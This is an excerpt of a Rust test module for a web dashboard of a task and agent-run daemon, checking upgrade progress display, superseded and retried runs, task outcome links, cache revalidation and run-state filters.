16936 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
16939 assert!(APP_JS.contains("const label = btn.textContent;"));
16940 assert!(!APP_JS.contains("Neither direction is guarded"));
16941 }
16942
16943 #[test]
16944 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
16945 assert!(
16946 APP_JS.contains("state.health.version"),
16947 "the operator wants to know what is running even with nothing newer"
16948 );
16949 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
16950 }
16951
16952 #[test]
16953 fn the_upgrade_button_names_its_destination() {
16954 assert!(
16955 APP_JS.contains("`Update to ${update.to}`"),
16956 "pressing the button should not be a surprise about what it moves to"
16957 );
16958 }
16959
16960 #[test]
16961 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16962 for stage in ["downloading", "replaced", "parking", "restarting"] {
16963 assert!(
16964 APP_JS.contains(&format!("\"{stage}\"")),
16965 "the phone must be able to tell {stage} apart from the others"
16966 );
16967 }
16968 assert!(APP_JS.contains(".waiting_on"));
16969 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16974 assert!(APP_JS.contains("reconnects on its own"));
16975 }
16976
16977 #[test]
16978 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16979 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16988 ..APP_JS.find("function upgrade(").expect("upgrade")];
16989 assert!(
16990 !body.contains(
16991 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
16992 ),
16993 "a failed upgrade must not take the whole strip over the way it used to"
16994 );
16995 assert!(
16996 body.contains("upgradeFailNote"),
16997 "the failure has to reach the loop's own note instead"
16998 );
16999 assert_eq!(
17003 body.matches("upgradeFailNote].filter(Boolean).join")
17004 .count(),
17005 2,
17006 "both loop-why writers (quiet and control) must fold the note in"
17007 );
17008 }
17009
17010 #[test]
17011 fn an_overdue_upgrade_eventually_asks_for_a_human() {
17012 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17015 assert!(APP_JS.contains("function upgradeOverdue("));
17016 }
17017
17018 #[test]
17019 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17020 assert!(
17021 APP_JS.contains("Updated to ${upgradeInfo.to"),
17022 "the operator who asked for the restart wants to know it worked"
17023 );
17024 }
17025
17026 #[test]
17027 fn an_error_is_visible_from_where_the_button_is() {
17028 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17033 ..APP_CSS.find(".alert-text").expect(".alert-text")];
17034 assert!(
17035 alert.contains("position: fixed"),
17036 "an error about the thing under your thumb has to be visible from \
17037 where your thumb is: {alert}"
17038 );
17039 assert!(
17040 alert.contains("z-index: 25"),
17041 "above the dock (20) and the run-actions FAB (15), so neither \
17042 buries it: {alert}"
17043 );
17044 assert!(
17045 alert.contains("var(--tap)"),
17046 "and clear of the dock and the home indicator: {alert}"
17047 );
17048 assert!(
17051 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17052 "the FAB's column stays free: {alert}"
17053 );
17054 }
17055
17056 #[tokio::test]
17057 async fn an_older_attempt_says_what_replaced_it() {
17058 let fx = Fixture::start().await;
17059 let q = fx.queue();
17060 let runs = fx.runs();
17061 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17062 write_run(&runs, first, RunStatus::Stalled);
17063 write_run(&runs, second, RunStatus::Blocked);
17064
17065 let mut t = Task::new(
17066 "one task".to_owned(),
17067 "do it".to_owned(),
17068 PathBuf::from("/repo"),
17069 Source::Human,
17070 );
17071 t.runs = vec![first.to_owned(), second.to_owned()];
17072 q.put(&mut t).expect("put");
17073
17074 let rows = fx.get("/api/runs").await.json();
17078 let by = |short: &str| -> Value {
17079 rows.as_array()
17080 .unwrap()
17081 .iter()
17082 .find(|r| r["short"] == short)
17083 .cloned()
17084 .unwrap_or(Value::Null)
17085 };
17086 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17087 assert!(
17088 by("bbbb")["superseded_by"].is_null(),
17089 "the latest attempt is not superseded by anything"
17090 );
17091 assert!(APP_JS.contains("run.superseded_by"));
17093 assert!(APP_JS.contains("Superseded by"));
17094 }
17095
17096 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17097 let mut t = Task::new(
17098 "one task".to_owned(),
17099 "do it".to_owned(),
17100 PathBuf::from("/repo"),
17101 Source::Human,
17102 );
17103 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17104 t.status = status;
17105 t
17106 }
17107
17108 #[test]
17109 fn source_link_picks_the_page_that_filed_the_task() {
17110 let agent = |node: &str| Source::Agent {
17111 run: "20260904-014455-ab12".to_owned(),
17112 node: node.to_owned(),
17113 };
17114 let chat = source_link(&agent("chat")).expect("chat link");
17115 assert_eq!(chat.kind, "chat");
17116 assert_eq!(chat.id, "20260904-014455-ab12");
17117 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17118 let run = source_link(&agent("implement")).expect("run link");
17119 assert_eq!(
17120 (run.kind, run.href.as_str()),
17121 ("run", "#/runs/20260904-014455-ab12")
17122 );
17123 assert_eq!(source_link(&Source::Human), None);
17124 assert_eq!(
17125 source_link(&Source::Issue {
17126 number: 3,
17127 repo: "o/r".to_owned()
17128 }),
17129 None
17130 );
17131 let odd = source_link(&Source::Agent {
17132 run: "a b/c".to_owned(),
17133 node: "chat".to_owned(),
17134 })
17135 .expect("link");
17136 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17137 }
17138
17139 #[test]
17140 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17141 assert!(
17142 !APP_JS.contains("src.node === \"chat\""),
17143 "inline href rule is back"
17144 );
17145 assert!(
17146 APP_JS.matches("sourceLinkOf(").count() >= 4,
17147 "helper must serve every page"
17148 );
17149 assert!(
17150 APP_JS.matches("openChatLink(").count() >= 3,
17151 "the run page still needs its explicit chat link"
17152 );
17153 assert!(
17154 !APP_JS.contains("const openChat = el("),
17155 "the Queue card duplicates its source label link again"
17156 );
17157 assert!(
17158 APP_JS.contains("metaKids.push(link ? el(\"a\""),
17159 "the task page must link a chat source label too"
17160 );
17161 }
17162
17163 #[test]
17164 fn task_ref_carries_the_source_link_for_a_chat_task() {
17165 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17166 t.source = Source::Agent {
17167 run: "20260904-014455-ab12".to_owned(),
17168 node: "chat".to_owned(),
17169 };
17170 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17171 let v = serde_json::to_value(&out).expect("json");
17172 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17173 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17174 assert_eq!(v["source_label"], t.source.label());
17175
17176 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17177 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17178 .expect("json");
17179 assert!(v["source_link"].is_null(), "{v}");
17180 }
17181
17182 #[test]
17183 fn task_view_serializes_source_link() {
17184 let mut t = Task::new(
17185 "t".to_owned(),
17186 "t".to_owned(),
17187 PathBuf::from("/repo"),
17188 Source::Agent {
17189 run: "20260901-000000-aaaa".to_owned(),
17190 node: "implement".to_owned(),
17191 },
17192 );
17193 t.runs.clear();
17194 let v = serde_json::to_value(TaskView::from(t)).expect("json");
17195 assert_eq!(v["source_link"]["kind"], "run", "{v}");
17196 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
17197 }
17198
17199 #[tokio::test]
17200 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
17201 let fx = Fixture::start().await;
17202 let runs = fx.runs();
17203 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17204 write_run(&runs, old, RunStatus::Blocked);
17205 write_run(&runs, new, RunStatus::Merged);
17206 let mut t = outcome_task(&[old, new], TaskStatus::Done);
17207 fx.queue().put(&mut t).expect("put");
17208
17209 let view = fx.get(&format!("/api/runs/{old}")).await.json();
17210 let task = &view["task"];
17211 assert_eq!(task["status"], "done");
17212 assert_eq!(task["is_latest"], false);
17213 assert_eq!(task["latest"]["short"], "bbbb");
17214 assert_eq!(task["finished_by"]["id"], new);
17215 assert_eq!(task["finished_by"]["outcome"], "merged");
17216 assert_eq!(task["closed_by_hand"], false);
17217 assert_eq!(view["status"], "blocked", "the run keeps its own status");
17218 assert!(APP_JS.contains("finished_by"));
17219 assert!(APP_JS.contains("superseded by run"));
17220 }
17221
17222 #[tokio::test]
17223 async fn the_latest_run_reports_a_held_task_without_a_successor() {
17224 let fx = Fixture::start().await;
17225 let runs = fx.runs();
17226 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17227 write_run(&runs, old, RunStatus::Stalled);
17228 write_run(&runs, new, RunStatus::Blocked);
17229 let mut t = outcome_task(&[old, new], TaskStatus::Held);
17230 fx.queue().put(&mut t).expect("put");
17231
17232 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
17233 assert_eq!(task["status"], "held");
17234 assert_eq!(task["is_latest"], true);
17235 assert!(task["latest"].is_null());
17236 assert!(task["finished_by"].is_null());
17237 assert_eq!(task["closed_by_hand"], false);
17238 }
17239
17240 #[tokio::test]
17241 async fn a_direct_run_has_no_task_outcome() {
17242 let fx = Fixture::start().await;
17243 let runs = fx.runs();
17244 let id = "20260901-000000-aaaa";
17245 write_run(&runs, id, RunStatus::Blocked);
17246 let view = fx.get(&format!("/api/runs/{id}")).await.json();
17247 assert!(view["task"].is_null());
17248 }
17249
17250 #[test]
17251 fn task_outcome_does_not_guess_a_finishing_run() {
17252 let a = "20260901-000000-aaaa";
17253 let b = "20260901-000000-bbbb";
17254 let c = "20260901-000000-cccc";
17255 let dir = tempfile::tempdir().expect("tempdir");
17256 write_run(dir.path(), a, RunStatus::Blocked);
17257 write_run(dir.path(), b, RunStatus::VerifiedNoop);
17258 let read = |id: &str| read_run(dir.path(), id).ok();
17260 let t = outcome_task(&[a, b, c], TaskStatus::Done);
17263 let out = task_outcome(&t, a, 3, read);
17264 assert!(out.finished_by.is_none());
17265 assert!(out.closed_by_hand);
17266 let latest = out.latest.expect("latest");
17267 assert_eq!(latest.id, c);
17268 assert_eq!(latest.status, None);
17269 assert_eq!(latest.outcome, "record unreadable");
17270
17271 write_run(dir.path(), c, RunStatus::Ready);
17273 let t = outcome_task(&[a, c], TaskStatus::Done);
17274 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
17275 assert_eq!(out.finished_by.expect("finisher").id, c);
17276 assert!(!out.closed_by_hand);
17277
17278 let t = outcome_task(&[a, b, a], TaskStatus::Held);
17280 assert!(task_outcome(&t, a, 3, read).is_latest);
17281 }
17282
17283 #[tokio::test]
17284 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
17285 let fx = Fixture::start().await;
17290 let q = fx.queue();
17291 let runs = fx.runs();
17292 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
17293 write_run(&runs, first, RunStatus::Blocked);
17294 write_run(&runs, second, RunStatus::Merged);
17295
17296 let mut t = Task::new(
17297 "one task".to_owned(),
17298 "do it".to_owned(),
17299 PathBuf::from("/repo"),
17300 Source::Human,
17301 );
17302 t.runs = vec![first.to_owned(), second.to_owned()];
17303 q.put(&mut t).expect("put");
17304
17305 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
17306 assert_eq!(earlier["superseded_by"], "dddd");
17307 assert_eq!(earlier["latest_attempt"]["id"], second);
17308 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
17309 assert_eq!(
17310 earlier["latest_attempt"]["resolved"], true,
17311 "the run that replaced it landed, so this one reads as settled"
17312 );
17313
17314 let later = fx.get(&format!("/api/runs/{second}")).await.json();
17315 assert!(
17316 later["superseded_by"].is_null(),
17317 "the latest attempt is not superseded by anything"
17318 );
17319 assert!(
17320 later["latest_attempt"].is_null(),
17321 "the latest attempt has no later attempt of its own"
17322 );
17323
17324 assert!(APP_JS.contains("run.latest_attempt"));
17331 assert!(APP_JS.contains("data-superseded"));
17332 assert!(APP_JS.contains("#/runs/${latest.id}"));
17333 }
17334
17335 #[tokio::test]
17336 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
17337 let fx = Fixture::start().await;
17343 let q = fx.queue();
17344 let runs = fx.runs();
17345 let (a, b, c) = (
17346 "20260901-000000-aaaa",
17347 "20260901-000000-bbbb",
17348 "20260901-000000-cccc",
17349 );
17350 write_run(&runs, a, RunStatus::Blocked);
17351 write_run(&runs, b, RunStatus::Blocked);
17352 write_run(&runs, c, RunStatus::Merged);
17353
17354 let mut t = Task::new(
17355 "retried twice".to_owned(),
17356 "do it".to_owned(),
17357 PathBuf::from("/repo"),
17358 Source::Human,
17359 );
17360 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
17361 q.put(&mut t).expect("put");
17362
17363 let view = fx.get(&format!("/api/runs/{a}")).await.json();
17364 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
17365 assert_eq!(
17366 view["latest_attempt"]["id"], c,
17367 "the chain's current head, not the intermediate Blocked retry"
17368 );
17369 assert_eq!(view["latest_attempt"]["resolved"], true);
17370
17371 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
17372 assert_eq!(mid["latest_attempt"]["id"], c);
17373 assert_eq!(mid["latest_attempt"]["resolved"], true);
17374 }
17375
17376 #[tokio::test]
17377 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
17378 let fx = Fixture::start().await;
17379 let q = fx.queue();
17380 let runs = fx.runs();
17381
17382 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
17385 write_run(&runs, still_blocked_a, RunStatus::Blocked);
17386 write_run(&runs, still_blocked_b, RunStatus::Blocked);
17387 let mut t1 = Task::new(
17388 "still stuck".to_owned(),
17389 "do it".to_owned(),
17390 PathBuf::from("/repo"),
17391 Source::Human,
17392 );
17393 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
17394 q.put(&mut t1).expect("put");
17395 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
17396 assert_eq!(view1["latest_attempt"]["resolved"], false);
17397 assert_eq!(view1["latest_attempt"]["status"], "blocked");
17398 assert_eq!(view1["latest_attempt"]["done"], true);
17399
17400 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
17402 write_run(&runs, run_a, RunStatus::Blocked);
17403 write_run(&runs, run_b, RunStatus::Implementing);
17404 let mut t3 = Task::new(
17405 "retrying".to_owned(),
17406 "do it".to_owned(),
17407 PathBuf::from("/repo"),
17408 Source::Human,
17409 );
17410 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
17411 q.put(&mut t3).expect("put");
17412 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
17413 assert_eq!(view3["latest_attempt"]["id"], run_b);
17414 assert_eq!(view3["latest_attempt"]["resolved"], false);
17415 assert_eq!(view3["latest_attempt"]["done"], false);
17416
17417 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
17422 write_run(&runs, noop_a, RunStatus::Blocked);
17423 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
17424 let mut t2 = Task::new(
17425 "claims done".to_owned(),
17426 "do it".to_owned(),
17427 PathBuf::from("/repo"),
17428 Source::Human,
17429 );
17430 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
17431 q.put(&mut t2).expect("put");
17432 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
17433 assert_eq!(
17434 view2["latest_attempt"]["resolved"], false,
17435 "an unverified no-op claim must not read as a confirmed finish"
17436 );
17437
17438 assert!(APP_JS.contains("latest.resolved"));
17441 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
17444 assert!(APP_JS.contains("Latest attempt: "));
17445 assert!(APP_JS.contains("in flight"));
17446 assert!(APP_JS.contains("not resolved"));
17447 }
17448
17449 #[tokio::test]
17450 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
17451 let fx = Fixture::start().await;
17452 let js = fx.get("/app.js").await;
17458 assert_eq!(js.status, 200);
17459 let tag = js
17460 .header("etag")
17461 .expect("an etag to revalidate against")
17462 .to_owned();
17463 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
17464 assert_eq!(
17465 js.header("cache-control"),
17466 Some("no-cache, must-revalidate"),
17467 "the phone has to ask every time"
17468 );
17469
17470 let again = fx
17473 .get_with("/app.js", &[("if-none-match", tag.as_str())])
17474 .await;
17475 assert_eq!(
17476 again.status, 304,
17477 "a deck it already has costs one round trip"
17478 );
17479 assert!(again.body.is_empty(), "304 carries no body");
17480
17481 let weak = fx
17484 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
17485 .await;
17486 assert_eq!(weak.status, 304);
17487 let stale = fx
17488 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
17489 .await;
17490 assert_eq!(stale.status, 200, "an older build must be replaced");
17491 assert!(stale.body.contains("renderRunActions"));
17492 }
17493
17494 #[test]
17495 fn the_task_detail_has_an_actions_fab_and_sheet() {
17496 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
17497 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
17498 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
17499 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
17501 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
17502 assert!(APP_JS.contains("renderTaskActions(task);"));
17504 assert!(APP_JS.contains("renderTaskActions(null);"));
17505 let sheet = APP_JS
17507 .find("function renderTaskActions")
17508 .expect("sheet renderer");
17509 let body = &APP_JS[sheet..sheet + 3000];
17510 assert!(body.contains("changePriority("));
17511 assert!(body.contains("openTaskEdit(task)"));
17512 assert!(body.contains("renderTaskHoldBox(host"));
17513 assert!(body.contains("renderTaskDoneBox(host"));
17514 assert!(body.contains("renderTaskDeleteBox(host"));
17515 assert!(APP_JS.contains("API.priority(id)"));
17516 assert!(APP_JS.contains("API.deleteTask(id)"));
17517 assert!(APP_JS.contains("location.hash = \"#/queue\""));
17519 assert!(APP_JS.contains("$(\"task-actions-error\")"));
17521 }
17522
17523 #[test]
17524 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
17525 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
17526 let actions = INDEX_HTML
17527 .find("id=\"run-actions-box\"")
17528 .expect("actions box");
17529 assert!(task < actions, "the task entry comes first in the sheet");
17530 assert!(APP_JS.contains("renderRunTaskEntry"));
17531 assert!(APP_JS.contains("\"Open task \""));
17532 assert!(APP_JS.contains("started directly, no task"));
17534 assert!(APP_JS.contains("sheet-task-link"));
17535 assert!(APP_JS.contains("task-chip-link"));
17536 }
17537
17538 #[test]
17539 fn the_deck_never_sends_the_operator_to_a_terminal() {
17540 assert!(
17543 !APP_JS.contains("Run `magi fold` first"),
17544 "the deck must offer the fold, not prescribe a shell command"
17545 );
17546 assert!(APP_JS.contains("foldRun:"));
17547 assert!(APP_JS.contains("resumeRun:"));
17548 assert!(APP_JS.contains("renderRunActions"));
17549
17550 assert!(APP_JS.contains("armedFold"));
17552 assert!(APP_JS.contains("Yes, fold worktrees"));
17553
17554 assert!(APP_JS.contains("can no longer be resumed"));
17557 }
17558
17559 #[test]
17560 fn a_finished_run_explains_itself_with_its_own_last_line() {
17561 assert!(
17567 !APP_JS.contains("collapsed on agent quota"),
17568 "a stall must not be explained by a cause the deck did not check"
17569 );
17570 assert!(
17571 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
17572 "and a block must not offer a guess with an `or` in it"
17573 );
17574
17575 assert!(
17579 APP_JS.contains("setText(r.event, run.event || \"\")"),
17580 "the run's last line is rendered unconditionally"
17581 );
17582 assert!(
17583 !APP_JS.contains("moving && run.event"),
17584 "and never gated on the run still moving"
17585 );
17586
17587 assert!(APP_JS.contains("lost to quota"));
17589 }
17590
17591 #[test]
17613 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
17614 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
17615 let shapes_body_start =
17616 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
17617 let shapes_close = APP_JS[shapes_body_start..]
17618 .find("].map(")
17619 .expect("the shape list is closed by its done-computing .map(...)")
17620 + shapes_body_start;
17621 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
17622
17623 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
17624 for entry in shapes_src.split('{').skip(1) {
17625 let waiting = entry.contains("waiting: true");
17626 let dead = entry.contains("live: \"dead\"");
17627 let status_at =
17628 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
17629 let status_end = entry[status_at..]
17630 .find('"')
17631 .expect("the status string is closed")
17632 + status_at;
17633 let parked = entry.contains("display_status: \"parked\"");
17634 shapes.push((
17635 waiting,
17636 entry[status_at..status_end].to_string(),
17637 dead,
17638 parked,
17639 ));
17640 }
17641 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
17642
17643 let done_rule_marker = "done: !";
17647 let done_rule_at = APP_JS[shapes_close..]
17648 .find(done_rule_marker)
17649 .expect("the done rule follows the shape list")
17650 + shapes_close
17651 + done_rule_marker.len();
17652 let includes_at = APP_JS[done_rule_at..]
17653 .find(".includes(shape.status)")
17654 .expect("the done rule ends in .includes(shape.status)")
17655 + done_rule_at;
17656 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
17657 .trim()
17658 .trim_start_matches('[')
17659 .trim_end_matches(']')
17660 .split(',')
17661 .map(|s| s.trim().trim_matches('"'))
17662 .filter(|s| !s.is_empty())
17663 .collect();
17664
17665 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
17666 .into_iter()
17667 .map(|(waiting, status, dead, parked)| {
17668 let done = !not_done.contains(&status.as_str());
17669 (waiting, status, dead, parked, done)
17670 })
17671 .collect();
17672
17673 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
17677 if waiting {
17678 return "waiting";
17679 }
17680 if dead
17681 && !parked
17682 && !matches!(
17683 status,
17684 "merged"
17685 | "ready"
17686 | "stalled"
17687 | "blocked"
17688 | "failed"
17689 | "verified_noop"
17690 | "superseded"
17691 | "already_in_base"
17692 )
17693 {
17694 return "stale";
17695 }
17696 match status {
17697 "merged" | "ready" => "landed",
17698 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
17699 | "already_in_base" => "ended",
17700 _ => "flight",
17701 }
17702 }
17703
17704 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
17707 match filter_key {
17708 "active" => !done,
17709 "flight" => !done && !waiting && !dead,
17710 "stale" => !done && !waiting && dead,
17711 "waiting" => waiting,
17712 "done" => done,
17713 "all" => true,
17714 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
17715 }
17716 }
17717
17718 let compatible = |section: &str, filter_key: &str| {
17719 shapes.iter().any(|(waiting, status, dead, parked, done)| {
17720 run_section(*waiting, status, *dead, *parked) == section
17721 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
17722 })
17723 };
17724
17725 let expected = [
17730 ("waiting", [true, false, false, true, true, true]),
17731 ("stale", [true, false, true, false, false, true]),
17732 ("flight", [true, true, false, false, false, true]),
17733 ("landed", [false, false, false, false, true, true]),
17734 ("ended", [false, false, false, false, true, true]),
17735 ];
17736 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
17737
17738 for (section, wants) in expected {
17739 for (filter_key, want) in filter_keys.iter().zip(wants) {
17740 assert_eq!(
17741 compatible(section, filter_key),
17742 want,
17743 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
17744 );
17745 }
17746 }
17747
17748 assert!(
17751 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
17752 );
17753 assert!(APP_JS.contains(
17754 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
17755 ));
17756 assert!(APP_JS.contains(
17757 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
17758 ));
17759 }
17760
17761 #[tokio::test]
17762 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
17763 let dir = tempfile::tempdir().expect("tempdir");
17767 let explicit = dir.path().join("not-a-checkout");
17768 std::fs::create_dir_all(&explicit).expect("create dir");
17769 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
17770
17771 let missing = dir.path().join("does-not-exist-at-all");
17772 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
17773 }
17774
17775 #[test]
17776 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
17777 assert!(APP_JS.contains("function statsDonutArcs"));
17778 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
17779 assert!(APP_JS.contains("function statusInBucket"));
17781 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
17782 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
17783 let buckets = [
17784 "merged",
17785 "ready",
17786 "in_progress",
17787 "blocked",
17788 "failed",
17789 "verified_noop",
17790 "superseded",
17791 "stalled",
17792 ];
17793 for key in buckets {
17794 let var = format!("--verdict-{key}:");
17795 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
17797 assert!(
17798 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
17799 "{key}"
17800 );
17801 }
17802 }
17803}